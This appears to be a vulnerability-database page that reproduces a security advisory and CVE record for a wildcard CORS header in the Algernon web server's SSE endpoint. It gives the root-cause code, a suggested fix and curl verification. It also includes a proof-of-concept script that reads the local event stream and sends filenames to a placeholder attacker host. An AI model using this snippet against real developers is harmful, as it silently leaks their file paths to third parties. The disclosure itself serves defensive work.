Vulnerability-Lookup

GHSA-HW27-4V2Q-5QFF

Vulnerability from github – Published: 2026-05-20 15:34 – Updated: 2026-05-20 15:34

Summary

Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: *

Details

Summary

The SSE event server's Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller's Origin. Because EventSource does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin EventSource to the SSE port and read the live filename stream from JavaScript. Combined with the lack of authentication (advisory #2a), no further trickery is required — any tab the developer opens has script-level read access to the stream.

This advisory covers the CORS configuration in isolation. The fix is independent of authentication and bind-address fixes: the wildcard could be replaced with a same-origin echo without touching either.

Details

Root cause — hard-coded `"*"` passed as the CORS allowed-origin

// engine/config.go  (1.17.6, MustServe)
recwatch.EventServer(absdir, "*", ac.eventAddr, ac.defaultEventPath, ac.refreshDuration)

The literal "*" is the second positional argument. The vendored recwatch implementation reflects it verbatim into the response header:

// vendor/github.com/xyproto/recwatch/eventserver.go:100-108  (1.17.6)
func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {
    return func(w http.ResponseWriter, _ *http.Request) {
        w.Header().Set("Content-Type", "text/event-stream;charset=utf-8")
        w.Header().Set("Cache-Control", "no-cache")
        w.Header().Set("Connection", "keep-alive")
        w.Header().Set("Access-Control-Allow-Origin", allowed)
        ...
    }
}

There is no decision based on the request's Origin header, and no allow-list mechanism — every caller is told their origin is approved.

Why the wildcard is exploitable

EventSource opens a GET request, never sends a preflight, and never carries cookies. The same-origin policy normally still blocks the response body from being read by JavaScript at a different origin — that is the role of Access-Control-Allow-Origin. When the server returns *, the browser permits the cross-origin script to read every message event.

So a developer running algernon -a on their workstation, with the SSE listener at http://127.0.0.1:5553/sse (Windows) or http://0.0.0.0:5553/sse (Linux/macOS), only needs to visit any third-party origin in another tab for the following to drain their stream silently:

<!doctype html>
<script>
  const s = new EventSource('http://127.0.0.1:5553/sse');
  s.onmessage = e => fetch('https://attacker.example/log?f=' + encodeURIComponent(e.data));
</script>

The exploit is cookie-less and CORS-clean — no SameSite, no third-party-cookie restriction, no preflight challenge applies. The user interaction is "visit a webpage," which UI:R in the CVSS vector reflects.

PoC (against 1.17.6)

# 1. Operator: algernon -a /path/to/project  on Windows; SSE at localhost:5553
# 2. Attacker lures the developer to https://news.example:
#    The page contains the snippet above.
# 3. EventSource opens, browser sends the request; algernon responds with
#    Access-Control-Allow-Origin: *, browser passes message events to the
#    cross-origin script; script ships filenames to attacker.example.

CLI reproduction of the header is identical to advisory #2a's transcript; the relevant evidence is the Access-Control-Allow-Origin: * value in the response, not the body.

Impact

Confidentiality: medium. Cross-origin browser-tab read access to the file-change stream, with no server-side knowledge that the read happened.
Integrity: none.
Availability: none directly (the cross-origin tab does not exhaust resources beyond the user's own browser).

Suggestions to fix

Primary fix — echo a same-origin allow-list instead of *.

// vendor/github.com/xyproto/recwatch/eventserver.go -- in GenFileChangeEvents
origin := r.Header.Get("Origin")
if !isAllowedOrigin(origin) {
    http.Error(w, "forbidden", http.StatusForbidden)
    return
}
w.Header().Set("Access-Control-Allow-Origin", origin)
w.Header().Set("Vary", "Origin")

The allowed parameter must change from "*" to an explicit allow-list (or a single canonical server origin) — for example, sseScheme + "://" + ac.serverAddr. With the server's own scheme+host+port in Allow-Origin, a cross-origin request from evil.example is rejected by the browser because the response advertises a different origin.

Defence in depth — drop the legacy dedicated-port code path. Mounting the SSE handler on the main mux instead lets the response omit Access-Control-Allow-Origin entirely (same-origin only by default). The dedicated --eventserver-style path is the only place Access-Control-Allow-Origin is set in the codebase; removing the dedicated path simplifies the surface.

Live verification

$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18779 --quiet poc2/site
$ ( curl -sNi --max-time 2 -H "Origin: http://evil.example" http://127.0.0.1:5553/sse > sse.txt &
    sleep 1
    echo "trigger" >> poc2/site/probe.txt
    wait )
$ cat sse.txt
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Cache-Control: no-cache
Connection: keep-alive
Content-Type: text/event-stream;charset=utf-8
...
id: 0
data: C:\Users\xbox\Desktop\VulnTesting\algernon-main\poc-test\poc2\site\probe.txt

The Origin: http://evil.example request header was echoed back as Access-Control-Allow-Origin: * (the wildcard — browsers treat this as "any origin may read"). A cross-origin tab at any URL can run new EventSource("http://<algernon>:5553/sse") and read the stream.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.17.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/xyproto/algernon"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46431"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-20T15:34:40Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe SSE event server\u0027s `Access-Control-Allow-Origin` response header was hardcoded to the wildcard `*` regardless of the caller\u0027s `Origin`. Because `EventSource` does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin `EventSource` to the SSE port and read the live filename stream from JavaScript. Combined with the lack of authentication (advisory #2a), no further trickery is required \u2014 any tab the developer opens has script-level read access to the stream.\n\nThis advisory covers the CORS configuration in isolation. The fix is independent of authentication and bind-address fixes: the wildcard could be replaced with a same-origin echo without touching either.\n\n### Details\n\n#### Root cause \u2014 hard-coded `\"*\"` passed as the CORS allowed-origin\n\n```go\n// engine/config.go  (1.17.6, MustServe)\nrecwatch.EventServer(absdir, \"*\", ac.eventAddr, ac.defaultEventPath, ac.refreshDuration)\n```\n\nThe literal `\"*\"` is the second positional argument. The vendored `recwatch` implementation reflects it verbatim into the response header:\n\n```go\n// vendor/github.com/xyproto/recwatch/eventserver.go:100-108  (1.17.6)\nfunc GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {\n    return func(w http.ResponseWriter, _ *http.Request) {\n        w.Header().Set(\"Content-Type\", \"text/event-stream;charset=utf-8\")\n        w.Header().Set(\"Cache-Control\", \"no-cache\")\n        w.Header().Set(\"Connection\", \"keep-alive\")\n        w.Header().Set(\"Access-Control-Allow-Origin\", allowed)\n        ...\n    }\n}\n```\n\nThere is no decision based on the request\u0027s `Origin` header, and no allow-list mechanism \u2014 every caller is told their origin is approved.\n\n#### Why the wildcard is exploitable\n\n`EventSource` opens a `GET` request, never sends a preflight, and never carries cookies. The same-origin policy normally still blocks the response body from being read by JavaScript at a different origin \u2014 that is the role of `Access-Control-Allow-Origin`. When the server returns `*`, the browser permits the cross-origin script to read every `message` event.\n\nSo a developer running `algernon -a` on their workstation, with the SSE listener at `http://127.0.0.1:5553/sse` (Windows) or `http://0.0.0.0:5553/sse` (Linux/macOS), only needs to visit *any* third-party origin in another tab for the following to drain their stream silently:\n\n```html\n\u003c!doctype html\u003e\n\u003cscript\u003e\n  const s = new EventSource(\u0027http://127.0.0.1:5553/sse\u0027);\n  s.onmessage = e =\u003e fetch(\u0027https://attacker.example/log?f=\u0027 + encodeURIComponent(e.data));\n\u003c/script\u003e\n```\n\nThe exploit is cookie-less and CORS-clean \u2014 no SameSite, no third-party-cookie restriction, no preflight challenge applies. The user interaction is \"visit a webpage,\" which `UI:R` in the CVSS vector reflects.\n\n### PoC (against 1.17.6)\n\n```bash\n# 1. Operator: algernon -a /path/to/project  on Windows; SSE at localhost:5553\n# 2. Attacker lures the developer to https://news.example:\n#    The page contains the snippet above.\n# 3. EventSource opens, browser sends the request; algernon responds with\n#    Access-Control-Allow-Origin: *, browser passes message events to the\n#    cross-origin script; script ships filenames to attacker.example.\n```\n\nCLI reproduction of the header is identical to advisory #2a\u0027s transcript; the relevant evidence is the `Access-Control-Allow-Origin: *` value in the response, not the body.\n\n### Impact\n\n- **Confidentiality:** medium. Cross-origin browser-tab read access to the file-change stream, with no server-side knowledge that the read happened.\n- **Integrity:** none.\n- **Availability:** none directly (the cross-origin tab does not exhaust resources beyond the user\u0027s own browser).\n\n### Suggestions to fix\n\n**Primary fix \u2014 echo a same-origin allow-list instead of `*`.**\n\n```go\n// vendor/github.com/xyproto/recwatch/eventserver.go -- in GenFileChangeEvents\norigin := r.Header.Get(\"Origin\")\nif !isAllowedOrigin(origin) {\n    http.Error(w, \"forbidden\", http.StatusForbidden)\n    return\n}\nw.Header().Set(\"Access-Control-Allow-Origin\", origin)\nw.Header().Set(\"Vary\", \"Origin\")\n```\n\nThe `allowed` parameter must change from `\"*\"` to an explicit allow-list (or a single canonical server origin) \u2014 for example, `sseScheme + \"://\" + ac.serverAddr`. With the server\u0027s own scheme+host+port in `Allow-Origin`, a cross-origin request from `evil.example` is rejected by the browser because the response advertises a different origin.\n\n**Defence in depth \u2014 drop the legacy dedicated-port code path.** Mounting the SSE handler on the main mux instead lets the response omit `Access-Control-Allow-Origin` entirely (same-origin only by default). The dedicated `--eventserver`-style path is the only place `Access-Control-Allow-Origin` is set in the codebase; removing the dedicated path simplifies the surface.\n\n### Live verification\n\n```\n$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18779 --quiet poc2/site\n$ ( curl -sNi --max-time 2 -H \"Origin: http://evil.example\" http://127.0.0.1:5553/sse \u003e sse.txt \u0026\n    sleep 1\n    echo \"trigger\" \u003e\u003e poc2/site/probe.txt\n    wait )\n$ cat sse.txt\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\nCache-Control: no-cache\nConnection: keep-alive\nContent-Type: text/event-stream;charset=utf-8\n...\nid: 0\ndata: C:\\Users\\xbox\\Desktop\\VulnTesting\\algernon-main\\poc-test\\poc2\\site\\probe.txt\n```\n\nThe `Origin: http://evil.example` request header was echoed back as `Access-Control-Allow-Origin: *` (the wildcard \u2014 browsers treat this as \"any origin may read\"). A cross-origin tab at any URL can run `new EventSource(\"http://\u003calgernon\u003e:5553/sse\")` and read the stream.",
  "id": "GHSA-hw27-4v2q-5qff",
  "modified": "2026-05-20T15:34:40Z",
  "published": "2026-05-20T15:34:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xyproto/algernon/security/advisories/GHSA-hw27-4v2q-5qff"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xyproto/algernon"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: *"
}

CVE-2026-46431 (GCVE-0-2026-46431)

Vulnerability from cvelistv5 – Published: 2026-05-26 16:42 – Updated: 2026-05-26 17:39

Title

Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: *

Summary

Algernon is a small self-contained pure-Go web server. Prior to 1.17.7, the SSE event server's Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller's Origin. Because EventSource does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin EventSource to the SSE port and read the live filename stream from JavaScript. This vulnerability is fixed in 1.17.7.

Severity

4.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

CWE

CWE-942 - Permissive Cross-domain Policy with Untrusted Domains

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/xyproto/algernon/security/advi…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
xyproto	algernon	Affected: < 1.17.7

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-46431",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-26T17:38:47.158630Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-26T17:39:14.529Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/xyproto/algernon/security/advisories/GHSA-hw27-4v2q-5qff"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "algernon",
          "vendor": "xyproto",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.17.7"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Algernon is a small self-contained pure-Go web server. Prior to 1.17.7, the SSE event server\u0027s Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller\u0027s Origin. Because EventSource does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin EventSource to the SSE port and read the live filename stream from JavaScript. This vulnerability is fixed in 1.17.7."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-942",
              "description": "CWE-942: Permissive Cross-domain Policy with Untrusted Domains",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-26T16:42:40.675Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/xyproto/algernon/security/advisories/GHSA-hw27-4v2q-5qff",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/xyproto/algernon/security/advisories/GHSA-hw27-4v2q-5qff"
        }
      ],
      "source": {
        "advisory": "GHSA-hw27-4v2q-5qff",
        "discovery": "UNKNOWN"
      },
      "title": "Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: *"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-46431",
    "datePublished": "2026-05-26T16:42:40.675Z",
    "dateReserved": "2026-05-13T22:18:22.830Z",
    "dateUpdated": "2026-05-26T17:39:14.529Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-HW27-4V2Q-5QFF

Summary

Details

Root cause — hard-coded "*" passed as the CORS allowed-origin

Why the wildcard is exploitable

PoC (against 1.17.6)

Impact

Suggestions to fix

Live verification

CVE-2026-46431 (GCVE-0-2026-46431)

Tags

Sightings

Nomenclature

Root cause — hard-coded `"*"` passed as the CORS allowed-origin